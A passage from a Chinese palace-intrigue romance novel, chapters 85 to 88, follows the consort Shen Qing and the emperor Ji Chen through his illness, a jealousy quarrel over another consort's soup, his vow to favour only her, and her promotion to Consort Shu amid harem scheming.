生气的人怎么可能用膳,听到纪宸的话,沈青这才后知后觉,做戏把自己也给演进去了,可能她是真的烦这件事。 遂小心地觑了他一眼,摇了摇头。 纪宸温和道:“朕再陪你用些。” 沈青埋首进纪宸怀里。 第85章 第85章昭仪十日 沈青的乌发如云垂落身后,纪宸找了根发带将头发拢在手中,绑住,满意了,才叫人传了膳。 即便心中的郁气已经散了大半,沈青仍是胃口不佳,捡着自己喜欢的膳食用了些,便搁了筷。 纪宸见此,吩咐人备了參汤。 自从回了宫,有了自己做主的地盘承乾宫,沈青已经很久没有喝參汤了,反正宫人一切听她的,纪宸也少有吩咐她宫里的人。 在承乾宫用膳更是她讓御膳房准备什么,纪宸便用什么,左右她对纪宸的口味还算了解,并不会讓他不喜的膳食端上来。 但现在,纪宸却吩咐人备参汤…… 即便心里已经预感不妙,但沈青仍巴巴地看向他:“为何要备参汤?” 光是一听参汤这二字,她浑身的气力仿佛都抽没了,雖情到深處的时候很爽,但有时候她真觉得纪宸是想搞死她,即便入睡时她总依偎在纪宸身边,但中间不知远离了多少次又被拉回来。 纪宸是这么想的。 【昨日歇过了,前日只浅浅温存,今日实在是适合闹一晚。】 况且狠了重了,无论男女,都能将积郁于心的事发泄出来。 纪宸拨顺沈青额前的发丝,温声道:“心里不痛快,哭出来就好了。” 若是哭,要么委屈,要么感动,前者他不忍心,后者条件不允許,既如此,眼下还有一个更便捷的方法。 而她又着实是水做的。 泪水涔涔涟涟,常滴得他身上冰凉一片,不过很快就又暖起来了。 沈青双颊瞬间红了,即便室内没有风,她还是感觉到了凌乱。 纪宸为什么能一本正经想入非非?而且床榻上的事为什么要回味! 沈青原本嘴巴死死抿住,臉颊烧起来后,又转而无意识地咬唇,那双眼眸中波光潋滟,恰如一汪春水。 沈青表现的这么明显,纪宸自是看出了,他还什么都没说呢,沈青便领会到了他的意思。 不禁暗自高興。 这不是心意相通是什么? 纪宸将沈青拥入懷里,轻轻拍着她的背缓解她莫名的紧张不安,待沈青放松下来后,重新十指紧扣,这才低头将她的唇瓣分开,安抚被咬得红润润的唇珠。 咬唇实在是个坏习惯,得好生教导才是。 沈青从被纪宸紧紧扣住的那只手上,感受到了他宽砺的手指骨,却没法用手指蹭一蹭,因为他完全将 她的手攥实了,没留一丝缝隙。 一如他的动作看似温柔,却是霸道的。 从前是,现在也是,只不过学会了前戏这个东西,所以即便沈青心中对后面发生的事本能有些惧的,也忍不住沉溺其中,慢慢随纪宸攀上高峰。 之后的事情自不必说。 第二天沈青的眼睛已经肿的不能见人了,若非她半夜见势不妙咬了软枕,声音没呜咽出来多少,只怕更没臉见承乾宫的宫人。 这日她自然没去請安,甚至到了請安的点都没醒,是纪宸吩咐宫人去坤宁宫告了假。 沈青不知道这事,睡了个昏天黑地。 醒来后甚至还有点呆。 但郁气不快什么的,早没了,心里只剩对纪宸的咬牙切齿。 一想到这样的日子会持續三四年,……好像也不是不行? 待缓了神,沈青被人服侍着起身后,白樱出现在了她身边:“娘娘,皇上走之前将那颗藥丸带走了,今早御前的人彻查了宫中关于助嗣偏方的风气,以后这些东西一概不会出现在娘娘面前了。” “另外,因昨日送到娘娘手中的藥丸有问题,背后牵扯到了玉嫔,证据确凿,玉嫔被皇上下旨降为了贵人,并提拔了蘭婕妤为嫔位。” “现在玉贵人的晴芳居十分清冷,蘭嫔的织云殿却是热闹起来了。” 沈青手指一顿。 她原本以为藥丸只是底下普通孝敬的,不知她不喜这东西,而阴差阳错没能讨好得了她,还讓她借此跟纪宸说开了。 却没想到这里面也藏着算计。 后宫的宫人何其多,东西能递到她面前意味着送东西的人在宫中地位不低,却没想到背后竟还站着玉贵人。 而玉贵人恰好几日前挑拨过她和蘭嫔的关系。 玉贵人刚当嫔位不过两年,便又重新被贬为了贵人,不知心中是作何感想,是否在后悔暗算她? 不过玉贵人也笨,居然仅用一颗药丸来赌她会心动,将主动权交到了她手里。且这藥丸还是个被太医一检查便能知道有问题的劣质货,难道她看着像是得了药丸,便得意忘形,高高興兴用了的人吗? 沈青看了眼天色,已是未时了,怪不得能发生这么多事。 玉贵人因此事被降位,蘭嫔却在这种关头升位份,而兰嫔又与她交好,不难猜出纪宸放着家世好的其他嫔妃不提拔,单提拔兰嫔的用意了。 沈青看向白樱,知道她能力出色,吩咐道:“查一下玉贵人在后宫的人脉,若御前的人没将她的根脉砍干净,你便出手。” 白樱称是,她身后站着昭仪,站着承乾宫,做点什么自然容易。 将后宫的人脉经营起来不容易,但清理干净却很简单,白樱雖不能直接讓人出宫,但调走还是容易的。 玉贵人在关键地方没了人手,便会左支右绌,不成气候。 接着,沈青又对白桃吩咐,让她去库房挑些东西,送去兰嫔那里。 宫里也有人情往来,兰嫔升位份,不止待遇提升一大截,品级也变了,自然值得旁人去送礼庆贺。 而她又与兰嫔关系密切,不管怎么说礼得备足了。 此时的坤宁宫,将赏赐兰嫔的东西吩咐好后,皇后默默琢磨起皇上的用意。 早上皇上要查药丸的事,还不許人惊动沈昭仪,但她手握宫权,自然参与了其中。 犹记得在做出对玉贵人的降位處罚后,皇上来了一句:“嫔上少了一位主子,便将兰婕妤提到嫔位吧。” 玉嫔成了贵人,嫔位上只剩一个林嫔,而林嫔不得皇上喜欢,嫔位上人少确实不合适。 但兰婕妤又凭什么能升为嫔? 要知道,婕妤位置上有三人,嫣婕妤从前有宠,李婕妤生有三皇子,唯独兰婕妤什么都没有,只除了与沈昭仪交好…… 唯一叫人庆幸的恐怕是沈青在不能很快有孕的情况下,也心高气傲不愿意用偏方。 但旁人不知道,皇后却是清楚沈青如果想有孕,不用偏方也能懷上,因为当初她怀璨儿,还是沈青进献了方法。 皇后连着咳嗽了好几声,惊得青古连忙抚背。 待缓和了,她饮了一口茶水,苦笑道:“本宫真是看不懂沈昭仪了。” 青古想说,许是沈昭仪不愿与皇后的大皇子相争,才这般做,但她是皇后的人,给别人说话就意味着不忠于皇后,便沉默了下来。 皇后不再想沈青,将注意力放在了賢妃身上。 沈青不会很快有孕,她最该对付的还是賢妃和德妃,且当初是賢妃授意旁人,给她暗示下催情香,这才有了香膏的气味惹了皇上不喜这事。 何才人私底下是她的人,轻易帮她查到了真相,皇后这才明白,林嫔不得宠,原来是有这么一个糊涂账在里面。 但二皇子是何才人所生,她注定不能明目张胆朝二皇子下手,但给贤妃找麻煩还是容易的。 再者,何才人不是想离间蒋美人与贤妃吗?她亦可推波助澜- 玉嫔被降为了玉贵人,嫣婕妤初听消息时是不可置信的,虽然是她动用了玉贵人的人手,有意坑玉贵人一把,给玉贵人埋下隐患,可没想到,仅是给承乾宫递了一颗药丸,吃不吃全看沈昭仪的心意,也值得皇上大动干戈。 玉贵人没将她供出来也很好理解,毕竟在玉贵人那里,她可是无心的,供出来,于自己无益不说,也得罪了她。再者,将这颗药丸拿出来后,她左思右想不太妥当,便将其他药丸给毁了。 这下便死无对证,玉贵人若是咬出她,她也有十足的应对法子,只是会惹得一身腥罢了。 嫣婕妤卧在软榻上,对星罗吩咐道:“我不便出面,你去替我好生安抚一下玉姐姐,告诉她,来日方长。” 她现在心情也不好,并不想去应付玉贵人。 皇上在她与兰婕妤之间,竟然挑了兰婕妤成为嫔主子,她比兰婕妤又差在哪里? 再偏心沈昭仪,也不能连同她交好的一起偏心吧,这算什么?这是沈昭仪的后宫,还是皇帝的后宫? 她们难道要靠讨好沈昭仪来升位份? 晴芳居中,玉贵人处。 玉贵人遭此重变,既没摔瓷器,也没迁怒宫人,而是一种极致的冷静。 她的几年筹谋,全被嫣婕妤毁了,还高高在上仅派了一个宫人来敷衍她! 玉贵人是个心思缜密的人,知道嫣婕妤心思细腻,不会做出这种事,便不由怀疑起嫣婕妤是否知道了什么,故意来坑她。 因此即便被降位了,她虽恨沈昭仪,但同时对嫣婕妤起疑了。 加之嫣婕妤的态度,更让她如鲠在喉,她不将嫣婕妤供出来,只是因为皇上问她是否因为与沈昭仪口角之争而要害沈昭仪,便知道所有的辩解都无用了。 即便供出了嫣婕妤,也只会让沈昭仪少一个心毒的敌人。 于是她便对皇上皇后承认是无心的,并不知道药丸有问题,因沈昭仪也没出什么事,亦或许是手段太拙劣,皇上便只做了降位的处罚。 玉贵人冷静分析着,沈昭仪招致的妒恨多,无需她出手便有人不想她继續得宠,既如此,她可以先把心思放到嫣婕妤身上。 嫣婕妤是条毒蛇,但蛇尚有七寸。 她要拿捏住嫣婕妤一击致命的把柄,那样,嫣婕妤在她手心便翻不出什么浪了,也能辖制住嫣婕妤来对付沈昭仪。 她这波降位,正适合隐在暗处。 后宫中的嫔妃各怀心思,沈青这几天却恣意许多。 请安时的暗潮涌动她不是感应不出来,皇后针对起了贤妃,贤妃仍因二皇子的事死咬德妃,德妃被贤妃搞的煩了,却也没忘记身为嫡长子的大皇子。 她的三皇子本来就最小,占不到什么优势,皇上也没来看几次,又听闻大皇子不过一岁多便展露了聪慧,皇上还过 问了……这谁稳得住? 三人通通忽略了沈青,贤妃是因为皇后而焦头烂额,腾不出手了,皇后和德妃则认为,没有子嗣便无从威胁大皇子和三皇子的地位,且沈青又不是软柿子,对付她只会做无用功。 兰嫔与陳美人和好了,陳美人也亲自到承乾宫来给沈青为她的莽撞道歉,更是不经意告诉了陈父因渎职被罢官入狱,他的岳父兼恩师也被查了个底朝天,满足了沈青想听后续的心。 除此之外,沈青更细心观察到嫣婕妤与玉贵人内讧了,真是不枉她在其中推波助澜啊。 宣贵人在方子之后重新避着她走。 其余人就更没什么威胁了,待她毕恭毕敬,笑脸相迎。 不说奉承沈昭仪,至少别让她在皇上跟前说她们坏话啊。 沈青脸上的笑容都多了起来,眉眼舒展,仪态万方。 纪宸的感受最为直观,沈青的一颦一笑尤为动人,似乎没有了能让她烦扰的事,也更为娇声娇气了,常让他拿她没办法,可也舍不得训她,说话重一点也不曾有。 不过对宫人,她仍是那个气韵不凡,出手大方的昭仪娘娘。 足见沈青是有两副面孔的人。 可纪宸就喜欢她这样对他,沈青要真对他识大体,不娇纵了,他才该慌了。 第86章 第86章昭仪十一日 之后年尾的几个月里,不管私底下如何,后宫嫔妃表面上是和睦的。 沈青踏进乾清宫,将厚披风解下,交给上前的宫人。 乾清宫有地龙,即便外面大雪纷纷,里面也感受不到任何寒气。 王定已经开始在纪宸周围行走,不必再料理乾清宫库房的事宜。 他体贴道:“娘娘,外面正下着雪,又天黑路滑,您該保重身体才是,皇上这里一切有奴才们。” 沈青眉间笼着散不尽的愁绪,目光往殿内看去,里面灯火通明,仍可见小太监忙忙碌碌搬奏折的动作。 “皇上已经劳累数日了,下午又傳了禦医,本宫哪能坐得住?” 说完这句话,沈青低头,见鞋面上的雪花化干净了,才抬脚往里面走去。 纪宸忙了几日,她便有几日没见过纪宸,毕竟他忙于朝政,她来乾清宫岂不讓纪宸分心? 也正巧这几日下着雪,她便在承乾宫跟兰嫔陈美人围炉煮茶,看着外面挂上晶莹雪花的腊梅,也别有意趣。 只是没想到,这日下午纪宸就傳了禦医,白樱来报是龙体有损,她再不来也太没心肝了。 况且外面虽然风雪交加,雪花都斜着飘,路也打滑,但她有手炉,有宫人打伞,只需注意脚下,从承乾宫到乾清宫的路并不难走。 沈青也确实着急,她可能是最不希望纪宸身体有恙的人了。 她的一切荣寵地位都係在纪宸身上。 纪宸有损,她便也不会顺意。 进入殿内,王定跟钱继打了个手势,钱继上前迎住沈青,仍伏在案上批阅奏折的纪宸抬头,有些叹气道:“你怎么来了?” 他方才都问过钱继,知道沈青歇下了,这才放心,却没想到她又起身跑到了他这里。 这么晚了还折腾,即便纪宸知道沈青是为何会来,也别扭地覺得不好。 他的手边,是一碗热气都快冒没了的黑汁水。 沈青对纪宸有点同情,她病过,知道这药有多苦,在纪宸出声前,她也想过該怎么关心纪宸的身体,才能讓纪宸覺得她是关心在乎他的。 但纪宸一问,她的眼睛便红成了兔子,鼻子也蓦地一酸。 沈青连忙低头,极力遮掩,却在帶着一丝哭腔的声音里藏不住了。 “我擔心你。” 她心里一慌,便全乱了,臣妾也忘记称了。 沈青走到纪宸身边,仍蹙着眉,帶着些许不悦的念叨:“不是才传过太医,皇上您怎么不好好歇着,药也没喝。” 她拿手试了试瓷碗的温度,都涼透了,推到纪宸的面前,这才细细去看他现在的模样。 纪宸明明没瘦多少,但周身萦绕的疲态仍讓人感覺他消瘦了许多。 嘴唇干燥,脸上苍白中透着不正常的红。 沈青不高兴,纪宸却弯了唇:“忙忘了,钱继也不提醒朕。” 钱继机敏道:“是奴才的缘故,皇上晚膳后说等药涼一凉,结果药凉了,奴才却忘记提醒皇上,实在是奴才該罚。” 本来被钱继轉移了注意力的沈青,听到药是晚膳后的,一直留到了现在,不由又将視線放回了纪宸身上。 目光带着哀怨,这种时候了,他还拿钱继糊弄她! 【钱继蠢笨。】 纪宸忙单手端起药碗:“朕现在就喝。” 盯着纪宸将药全喝了,沈青的心这才有了点落到实处的感觉。 “爱妃不是已经歇下了,怎么又到朕这里了?”纪宸喝完了药,脸庞虽仍然浮着病态的薄红,但精神气仍旧很足,强大稳定,仿佛一点都不受身体的影响。 若是他直到沈青会来,一定不会留着药到现在。 钱继害他。 “本来臣妾下午就该来的,但被白桃白樱拦了下来,劝臣妾说外面雪大,可等到就寝时,臣妾心里不安稳,便无论如何都得来见皇上一面才行。” “这才什么都没收拾,匆匆来了。” 沈青神色凝重,语气也不由自主重起来:“果然,皇上连药都没喝,这病怎么能好?您再是操劳朝政,也该顾惜一下自己的身体,再者,您就算不在意您的身体,也该怜惜臣妾几分,臣妾见你这个样子,很难受。” 纪宸想说沈青的话是歪理,这些话是怎么联係到起来的,但沈青说她自己难受,他便开不了口,只能笑着听训。 沈青又有些生气了,皱着眉噙着泪道:“您还笑?” 纪宸唇角不得不平直起来。 可即便是这样,沈青仍是不满意的,觉得纪宸就是在糟蹋自己的身体。 纪宸只得道:“朕的身体朕清楚,无碍。” 【曾用雪水洗过澡,在天寒地冻的时候穿单衣练武,小病不需要太医,大病一碗药就能解决,朕觉得这次也不算什么。】 他的精力较常人旺盛,一直早起上朝也不会有半点不适,甚至仍有很大的精力去练武骑马,平衡后宫与朝堂的各种关系,关心天下民生,布局收网。 纪宸在心里细数了下他的履历,觉得这次生病实在是个很小的事,他不过才熬了几天夜。 沈青原本只在眼眶里打转的眼泪倏地落了下来。 纪宸心慌手乱,拿帕子去擦沈青的眼泪,不明白为什么他安抚的话却让沈青落了泪。 “朕真的很好。”纪宸重复着。 沈青并不看他,抹了泪,轉而问钱继:“皇上几日未睡了?” 纪宸边摸眼下,边朝钱继示意。 钱继如果敢实话实说,他就死定了。 感受到两道視線落在身上的钱继,将头垂的更死了,多说多错,他宁愿当一个哑巴。 见钱继问不出来什么,沈青便对纪宸道:“您去睡觉。” 纪宸觉得他的模样已经暴露了,便没在辩驳他睡没睡,只视线移到禦案上:“折子……” 沈青抿唇,退让一步:“先把紧要的批完。” 她又不能真的耽误纪宸批奏折,误了大事怎么办,这个 责任她可擔不起。 可一直拖延下去她又是不能忍的。 纪宸满意了,沈青不知道什么奏折是紧要的,他还是能将折子全部看一遍。 然而他这个念头剛升起,便听沈青道:“臣妾就在这里站着侍候笔墨,不管三更五更,臣妾都陪着您。” 沈青被泪水洗过的眼睛透露着坚定,纪宸没有办法轻易改变沈青的决定,便让钱继将紧要的折子全呈上来。 如此下来,仍是熬了两刻钟。 沈青已经觉得累了,而纪宸仍是一副神采奕奕的模样,内心不由感叹,果然能当皇帝的精力都远超常人。 她知道纪宸为什么这么累,除了最近的朝政有些多外,纪宸对官员欺上瞒下的容忍度降低,想将全部事掌握在自己手里,这无疑是不可能且耗费精力的。 让纪宸升起这个念头的原因是永福公主纪仙从各州府递回来的信。 纪宸有过微服私访的念头,然而他的目标太大,不管怎么遮掩效果仍然不佳,剛好纪仙长成,能担事,也愿意为他办事,便借着让纪仙游学的名头,放出皇宫,暗访各地的官员。 他给纪仙的护卫都是忠于皇帝,出身贫寒,武艺高强之人。 而纪仙也不负所托,于年末有了很大的进展,信件如雪花般飞入皇宫。 于是便有了纪宸殚精竭虑宵衣旰食。 纪宸起身,沈青拉着他往寝宫方向走去。 待解衣躺到床上,沈青抚弄着他紧蹙的眉头,有技巧性地给他按着额头,不多时,纪宸便松了神沉沉睡去。 睡着后的纪宸整个人的气势都弱了下来,更显得他病的可怜。 沈青垂惜地亲了亲他的唇角,心中莫名酸涩。 翌日醒来时,纪宸已经去上朝了,因这里是乾清宫,沈青没有贪睡,起了身。 王定在人前行走,见到沈青的机会便多了。 一个偶然的间隙,王定道:“楚贵人这几日往御前送了好几次湯,皇上去看望三皇子时,德妃为楚贵人向皇上进言了。” 沈青明白他的意思。 王定自然希望她能维持独寵,最好谁也不要分薄了皇上对她的宠爱,对于这方面也更关注些。 但是王定想要更进一步,像钱继那样得皇上信赖,就不该与她这个后妃通消息。 沈青郑重道:“这些事你不必跟本宫说,这于你不好,你该给皇上尽忠。” 王定怔愣了一瞬:“可奴才希望娘娘好。” “人该为自己打算。”沈青说完这句话,便去盯纪宸的药了,留下默默琢磨的王定。 王定……不认同这句话。 沈青以侍疾的名义留在了乾清宫,她每日操心的只有纪宸一日三顿的药,与他是否睡足了。 纪宸生病,本就是他理亏,对于沈青的安排他也顺从地接受了。 有沈青在,实在是痛苦且甜蜜的。 纪宸不能再随心所欲投身朝政,但身体却也在转好,至少不像沈青那晚见到的那么吓人了。 这日,楚贵人担忧圣体,用心熬了一碗参湯,送到了御前。 御前的人得德妃特意交代,自然会通融一些。 这碗参汤便端到了纪宸面前,恰在此时,沈青刚满意纪宸将药喝完,目光便落到小太监端进来的汤上。 她疑惑问:“这汤好像不是御前做出来的?” 不夸张的说,她将御前的汤都尝遍了。 纪宸道:“是楚贵人送来的。” “哦。”沈青明白后,虽有些尴尬,但这到底是个稀松平常的事。 面上便十分平静,看不出什么波动。 然而,纪宸心里却忽然不舒服起来。 【她……不在意,她怎么可以不在意这事呢?】 第87章 第87章昭仪十二日 纪宸的眼皮在那一瞬间微阖,讓人瞧不见他眼底的变化。 仿佛一切如常,若是没那道心声的话。 跟纪宸许久的錢继也没覺出不对,仍本本分分站在那里,心里覺得楚贵人的汤送的真不是时候,底下的人没一点眼力见。 好在皇上和沈昭儀的感情甚笃,没有因此而赌气或产生隔阂。 不同于錢继的乐观,沈青却心里一愣,亦观察出了纪宸的微妙变化,她将目光放到汤上,默默揣摩起纪宸的意思。 很明显,纪宸是不高兴她对楚贵人送汤这件事所表现出不在意的態度。 可她又能怎么在意呢?楚贵人跟她无冤无仇,她總不能介怀人家给纪宸送汤吧,嬪妃给御前送汤都是惯例了,她若每个都要在意,既断了嬪妃在纪宸面前露脸的机会,又要把自己给累坏了。 楚贵人送汤,纪宸想喝便喝,不想喝便不喝,怎么就要看她的態度呢? 沈青是真覺得纪宸有些无理取闹,可也不能明着说他,毕竟他是皇帝,且也只是在心里想一想罢了,并未说出来。 “楚贵人这汤……”沈青微微一笑,拉长語调看向錢继。 果然,錢继立刻快語回道:“楚贵人听闻皇上龙体不佳,已经連着好几日派宫人来给皇上送汤了,但皇上没喝过,都是凉了后便宜了奴才!” 虽同为皇上嬪妃,但皇上可只有一个,嫔妃间總会产生妒意,借着另一个嫔妃与皇上拈酸吃醋的事不少见。 钱继想来,沈昭儀约莫是因为楚贵人给御前送汤能直达皇上面前的殊荣,而有些酸了。 可这都是德妃提前打点好的,楚贵人又家世不俗,钱继观着皇上态度,这才默许了。 毕竟楚贵人的恩寵在之前是长青的,也是宫中叫得出名姓的人物。 不过沈昭仪即便吃醋,也是浅笑的模样,钱继不禁在心中赞她涵养绝佳。 也无怪乎皇上喜欢了。 沈青饶有兴趣地看向纪宸,似乎想知道他的态度。 纪宸颔首:“若非愛妃在,朕連药都忘记喝了,哪会注意这。” 沈青不願了:“便是不注意,也会知道是楚贵人送的嗎?” 纪宸解释道:“端到朕面前的东西,若不知道来历,朕这皇帝做的也太危险了。” 很快,他便发现了他这话中的漏洞,既说不注意,又知道来历,显然是心知肚明并默许了。 他并不清白。 不过纪宸却是故意的,他就是想看看沈青接下来的反应,若是对他恼了气了,他的心情反倒会飞扬起来。 因为这代表沈青是吃醋了,喜欢一个人不才会吃醋嗎? 这种情况下,他亦願意做小伏低地哄沈青,无论怎样讓步都心甘情愿。 纪宸深邃眼眸中蕴着隐隐期待,双眉微扬,仍旧稳重。 沈青忍了又忍,才没对着纪宸这个样子笑出来。 她下巴微抬,嗤笑一声,对纪宸的解释不置可否,反倒将那碗参汤往纪宸面前推了推,眉梢一挑,帶着嗔怒道:“您就喝吧!” 说完,便一甩绣帕叫走了白桃。 白桃被这变故一惊,连忙跟上,走了几步后问出声:“娘娘,我们这是要去哪儿?” 沈青头也没回,气势汹汹道:“回承乾宫!” 告退也没告退,便那样疾步走了。 钱继目瞪口呆看着这一变故,不明白刚刚不是还好好的,怎么说翻脸就翻脸? 但是娘娘啊,这位是皇上,可不是能随意使性子耍脾气的人。 再不济,他将这件事揽下来成吗? 可钱继再一看皇上,却发现他家主子竟将拳头抵在唇边,笑出声来,神色是打心底的高兴,当下就更迷惑了。 这难道便是,一物降一物? 钱继仍不平静地提醒道:“皇上,外面还飘着小雪,昭仪娘娘穿得也不厚,您……” 他话还没说完,便见纪宸拿起一旁的玄色大氅,大步追了出去。 出了乾清宫,被寒风一吹,沈青瞬间冷静了下来,她捻着指尖问白桃:“本宫对皇上是不是太随意了一些?” 殿内那么多宫人,全目睹了她对纪宸是如何嚣张的。 她的名声还要不要了? 不由默默懊悔,其实垂泪赌气,等着纪宸来哄才是最妙的吃醋方式,但是她就是觉得纪宸愕然的样子好玩,忍不住戏弄一二。 反正纪宸的病已经没有大碍了,现在回承乾宫也合适。 白桃思忖着,还没来得及回话,便发现皇上走到娘娘身边,将大氅披到了娘娘身上,接过宫人的伞。 纪宸道:“先回乾清宫,外面冷。” 沈青方才还在反思她的态度,但纪宸来到她身边,她反而冷了脸,看着前方飘落的雪花道:“臣妾在乾清宫呆的够久了,就不再给皇上添麻烦了,若皇上想找臣妾,便去承乾宫吧,臣妾也没大胆到会拦着皇上不让进。” 纪宸的目光落到沈青冰肌玉骨的脸庞,觉得她似是这世间的一尊雪人。 他低头道:“那朕再去承乾宫,还会喝到好茶吗?” 沈青抿唇,仍不去看他:“您是皇上,怎么会慢待了您?” 说着,沈青便继续往外走,也 不管是纪宸在举着伞,他若不动,往前走会有雪花飘在身上。 可见是气狠了。 纪宸有太多的话想对沈青说,怎么会任由她一走了之,当即用另一只手抓住沈青的手腕。 沈青视线下移,看着被攥紧了的手腕面色不虞。 纪宸当机立断松开了伞柄,将沈青拦腰抱起,耳边是沈青惊呼的一声,他低头,见她不悦地抿住了唇,便大步往殿内走去。 因为没打伞的时间很短,两人身上只有些许湿润。 到了殿内,沈青被放到榻上,纪宸给她手中塞了一个精准的手炉,还不待她开口,纪宸便道:“愛妃能在意楚贵人,朕很高兴。” 沈青眼中还含着怒气,闻言顿时迷茫起来,不是,怎么就这么直接说出来了? 纪宸将她的眼神理解成了困惑,他伸手包住她握着手炉的手接着道:“朕对后宫嫔妃,一贯是合朕心意的,朕会多寵愛几分,不合朕心意的,便保她们不受底下奴才欺负,份例中的东西不缺一分一毫。” “但这是从前,自从爱妃成为昭仪后,朕便下意识忽略了朕的后宫,直到前些日子在德妃宫里,德妃要提携楚贵人,朕才发现朕是不愿意翻牌子进后宫的。” 连德妃的面子也不想给了。 纪宸就这么直直地望向沈青,眼睛深邃又分明。 沈青的眼底振动,眸光转变,很轻易便领悟到了纪宸的意思。 她不可思议问:“皇上想一直独寵臣妾?” 沈青一直以为纪宸虽对她有很多喜欢,但皇帝么,经历过后宫佳丽三千,也不可能一头栽到她身上。 时间久了,总会重新进后宫。 所以她也保持一颗平常心,皇上来,她便欢迎,皇上不来,她也没什么好抱怨的。 只一心想着攒钱,将承乾宫上上下下的人心收买住,即便纪宸对她淡了,她后路也多。 不过眼见着他们两人越来越契合,仿佛一对天生的帝王宠妃,沈青也是高兴的。 至于对后妃,就更没什么妒恨可言了,甚至有时候还会觉得有意思。 宣贵人避着她有意思,嫣婕妤明明不喜欢她还常常帶着笑唤她昭仪娘娘也有意思。 德妃贤妃看不惯她,又干不掉她,以至于最终将她无视掉的高贵冷艳模样更看得人心里美滋滋的。 至于一直霸着皇上会不会对后妃心虚,那就更没有了,以前嫣婕妤玉贵人楚贵人几个人几乎快将恩宠分完了,只给其余人一点汤喝,也没见她们有什么不好意思的,常常在请安时隐晦炫耀。 沈青可没同情心泛滥到这种程度,担忧一群出身好,相貌好,又有品级的嫔妃。 再看纪宸的话,也表明了后妃的生活是有保障的,亦可以出宫避暑,随去猎场。 话说回来,沈青仍是对纪宸的话感到震撼的,因为纪宸总是言而有信的,所以她更是明白这话没有掺杂丝毫水分,全是肺腑之言。 纪宸不知道沈青在短短的时间内想了这么多,郑重地嗯了一声。 沈青问:“可若臣妾老了怎么办?” 纪宸道:“那朕就会比爱妃还要老。” “可是……” “没有可是,朕想做的事没有办不到的,爱妃难道是在怕?” 即便知道纪宸是在激将她,沈青也不由正了神色:“怎么可能?” 纵然高处不胜寒,可也没说高处这么有滋有味啊,既如此,面对一些针对算计,也是她应得的。 她一直独宠着,旁人总归会習惯。 習惯不了,那就多多习惯。 沈青追着问:“那楚贵人是怎么回事,总不至于送到皇上面前的汤是臣妾的错觉吧?” 纪宸坦然道:“楚贵人的父兄朕用着得力,朕也不会吝啬这点殊荣,让楚贵人失了面子。” “您方才怎么不说?这下让臣妾丢脸了。”沈青语带抱怨,但眼睛是明亮的。 纪宸自不会将心中所想老老实实说出口,他道:“朕反而觉得爱妃眉飞色舞使性子的样子很可爱。” 哪会称得上丢脸? 沈青算他这话过关,她长的好,自然什么模样都是极好的。 她继续道:“那您可得一直宠着臣妾,说话算话。” “朕几时说话不算话?” 沈青仍看着他,轻哼一声。 纪宸转了语气,宠溺道:“朕一直专宠爱妃。” 沈青满意了,凑过去亲了他一口,喃喃道:“若是皇上不信守承诺,臣妾就再也不见皇上了。” “说什么胡话?朕应你就是了……” 眼见着得逞了,沈青笑嘻嘻对纪宸上下其手起来,反正纪宸也不会怎么样她了,只会越来越纵容,既然如此,何不让这纵容再多一点呢? 要知道,她最擅长的就是得寸进尺了。 第88章 第88章淑妃一日 时光荏苒,紀宸登基的第六年,因夏天仍旧炎热,便循着去年的安排避暑狩猎。 景明七年,又是三年一次的選秀,紀宸以劳民伤财的名义取消掉这次大選,只通过小选补进了些宫人。 皇后德妃贤妃身后的三家自不希望再有人入宫生下皇子,纷纷支持,其余人见宫里的昭仪娘娘仍旧专宠,便也歇了将家中适龄女子送入宫的打算,至于不甘心的,自也有,但声量小,紀宸将折子搁置,此事便过去了。 不过雖没有选秀,紀宸却借此机会将后宫嫔妃的位份提了提。 德妃和贤妃位份不动,沈青被封为了淑妃,兰嫔一跃成了从二品的修容,成为景阳宫主位,林嫔被封为林贵嫔,因景阳宫已经有了主位兰修容,便搬到了咸福宫,成为咸福宫的主位。 生下三皇子的李婕妤升为了贵嫔,只是雖成了娘娘,她也未搬离德妃身邊,甚至三皇子仍是德妃在養。 嫣婕妤则只成了嫣嫔。 楚贵人的楚家在前朝出力颇多,受惠被封为嫔,与嫣嫔只差个封号便可平起平坐。自入宫便是贵人位份的宣贵人,表现没出差错,升为了宣婕妤。 这之后,陳美人被封婕妤,親近皇后的章才人被封贵人。 玉贵人、蒋美人、何才人的位份则不变。 其余美人、才人、宝林上的嫔妃,有的升了一阶,有的则不变。 报喜的宫人先跑来了承乾宫,沈青虽然早知道她成了淑妃,此时也忍不住开心,讓白桃给报喜的宫人封赏了银子,又赏了承乾宫宫人六个月月俸。 这可是淑妃啊! 在纪宸心意不明时,沈青也想过她的位份或许不变,或是只封妃位,至于贵淑德贤四妃中虚位以待的贵妃和淑妃,她则想都没想过。 德妃和贤妃在宫中积威已久,膝下又養育着皇子,她拿什么压她们? 不过她现在想明白了,她有皇帝的专宠,既是宠妃,便没有合适不合适,只要皇上覺得她合适,她放到哪个位置上都合适。 一想到请安时会坐到贤妃前面,不必再给德妃贤妃行礼,不必再听两人的敲打,她便覺得身心舒畅。 淑妃好啊,进一步太过,退一步则不爽。 之后沈青便收到了兰嫔成为修容,陳美人成为婕妤的消息,都是一跃两级,因二人与她交好,她自是十分高 兴。 这次册封的嫔妃很多,后宫整整热鬧了一个月,气氛才回落下来。 德妃贤妃在最开始的不可思议后,也慢慢接受了沈青成为淑妃,皇上这次大封后宫,甚至连她们身邊的李婕妤、楚贵人、林嫔都升了不少,便知道这是在为淑妃做局。 她们既无宠爱都能升位份,沈昭仪为何不能成为淑妃? 若非沈青没有养育皇子公主,恐怕就不止是淑妃了,贵妃亦能当得。 沈青的位份越过她们本就是迟早的事,只是被压一头,任谁都会鬧心。 更何况,沈淑妃早早投靠了皇后,对大皇子也展现出了親近,长此以往,難保皇上不会因淑妃而偏心大皇子。 这一年的夏天没那么热,倒没兴师动众前往避暑山庄避暑。 只是主子都留在皇宫过夏,冰块就紧俏了起来,蒋美人因冰块被克扣,大鬧一番,可她背靠太后贤妃,怎么会偏偏少了她的。 皇后掌管后宫,此事若不查个明白便会落个失职名头,自没有輕易揭过的道理。 待上上下下查了个遍,却发现是二皇子份例里的冰不够用,底下的人便私自做主挪了蒋美人的冰。 查清楚后,何才人垂眸,异常低调。 原本只想看好戏的贤妃顿觉失了脸面,二皇子是她在养,蒋美人又是她的人,甚至私自挪冰的还是她宫里的。 贤妃狠狠剐了蒋美人一眼,觉得不过缺些冰,至于闹这么大吗? 今年较往年都不算热。 听到牵扯上贤妃的心头肉二皇子,蒋美人开始慌了,她原本只是想揭穿皇后管理后宫的纰漏,以此将宫权分给贤妃。 若是贤妃协理六宫,今年她也不会仍是个美人了。 